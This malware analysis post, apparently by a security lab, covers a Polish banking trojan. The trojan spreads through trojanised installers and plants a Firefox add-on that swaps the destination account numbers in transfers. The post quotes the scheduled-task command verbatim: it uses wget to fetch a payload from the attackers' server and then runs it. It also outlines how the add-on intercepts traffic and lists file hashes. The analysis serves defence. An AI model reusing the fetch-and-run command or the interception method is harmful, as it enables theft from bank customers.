Banatrix successor – swapping acct numbers with a Firefox add-on

Our laboratory recently received a sample of malware used for attacks on Polish users of electronic banking. Analysis of this malware gave us reasons to believe, that this is the software written by the authors of Banatrix (which we discussed in greater detail in our earlier posts), Slave and e-mail campaign (allegedly by Polish Post).

Step I: Extraction and addition of a sheduled task

Analysis shows that the most probable vector of attack was downloading this malware from one of the popular file exchange sites or a P2P network (a common Banatrix practice). At the beginning, the unaware user downloads an infected file in form of a program installer (e.g. Winamp, Corel PaintShop, PowerIso), drivers or cracked game (e.g. Minecraft). In most cases, in addition to performing normal activities, an installer also executes a dropper.

The dropper’s function was to unpack a popular program used to download files from the Internet (wget.exe) and to add a Scheduled Task. It is an interesting alternative for obtaining persistence without adding an entry in the appropriate registry key.

System Task

A sample content of the sheduled task rule:

1
cmd /R cd "C:\Documents and Settings\All Users\Application Data" & ping 1.1.1.1 -n 300 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://blockchainin.in/dat.bmp?data=YpXJRAmoSwKHkOamfqqM;winamp;1451925755 & start cmd /R dat.bmp

In this way, the infected machine informed the C&C server about its installer origin, when was it launched and when was the last time it downloaded an infected file. Although the idea behind this hoax is quite interesting, the execution is very poor. In every analysed sample, the C&C server address was hardcoded in the installer.

Step II: Downloading another file and extracting Firefox add-on

The only purpose of the next downloaded file was to extract an add-on to Mozilla Firefox web browser. In this case we’ve only encountered a Firefox plugin but we can’t exclude the possibility of a Chrome plugin being used as well.
The plugin is extracted to standard folder for Firefox add-ones.

XPI file name is also hardcoded. After extraction to the folder, plugin becomes visible from the browser under the name Firefox Google Search.

Step III: Plugin analysis and account number swap

Firefox add-on uses nsITraceableChannel, an interface which registers a stream listener (nsIStreamListener) into an HTTP channel and monitors all data coming through it. It is a method used by many add-ons, especially those used for blocking ads and in firebug – a popular developer tool. A small part of the plugin’s code responsible for copying data is shown in the figure below. It looks like a copy from some online tutorial.


The described add-on has two main functions:

- retrieval of account number to be substituted
- making and sending screenshots from the browser during money transfer (including the amount of money)

Below you can see a piece of code which is responsible for communication with the C&C:

identyfikator‘ (ID) for each infected host is calculated by using the function:

1
Math.floor((Math.random() * 999888999) + 1000000)

The request about the recipient account used during the money transfer is carried out immediately before transaction. In response, the browser receives an executable .js file containing not only the money mule account number but also the full list of services on which the transaction should not be completed (Polish auction sites using indirect payment by an agent) and constraints on the minimum and maximum transfer amount.

The injected code ensures that the user does not notice that the account number has been swapped by preventing any account number other than the one defined by the user from being displayed. The scam can be avoided by comparing the desired account number with the one received in the bank text message containing the single-use confirmation code (mTAN) if enabled.

Due to the fact that most of the malicious code is downloaded from the C&C server while the wire transfer is being performed, the plugin itself is not detected as malicious by any antivirus software. However, the add-on is not digitally signed by addons.mozilla.org. Such an add-on gets automatically disabled since Firefox version 43 (newest stable release) in accordance with Mozilla Foundation’s policy. Therefore, we recommend updating the browser to the newest version.

Summary
Polish authors of malicious software are still looking for new ways of stealing money from infected users while minimizing the risk of detection by antivirus engines. The example of the analyzed plugin shows that they don’t take any action in case of too small or too large transactions. Also the account number is sent only before the transaction. In this case, the cyber-criminals do not have to worry about control of any additional devices (like a smartphone) – a browser add-on is entirely sufficient.

Hashes:

I dropper – program installer

1
2
3
e60777fbf6a65021886b41454ca3a37ac685ab2ef04d5dbed1c1b9d99287e37e
ef866e56bb920e2cf5dd63c15e3cd654905a2e0176c657508e0f087f7e6686c1
99be6b16989a190bc253fb442ab3d7363afeab5b71a6d3f021acfab558959cef

II dropper – dat.bmp

1
2
507c0c05268a142f595113a424b57f63e1bc704362321c2009c42c8c424a6435
eda320cf33c8100c70c06ae6cd35f689c8159991aeef49d16cac520a3c8db008

Firefox add-on

1
2
1e8e649279c84fc918d8ac3bc776114a545f7b1689fe3e90b7f77740a80fe345
3d59b246b4c7da094b43da4e2d2e4bf8c3d0723811f954cce54aa521bc5d019c

Tags: , , , ,

Comments are closed.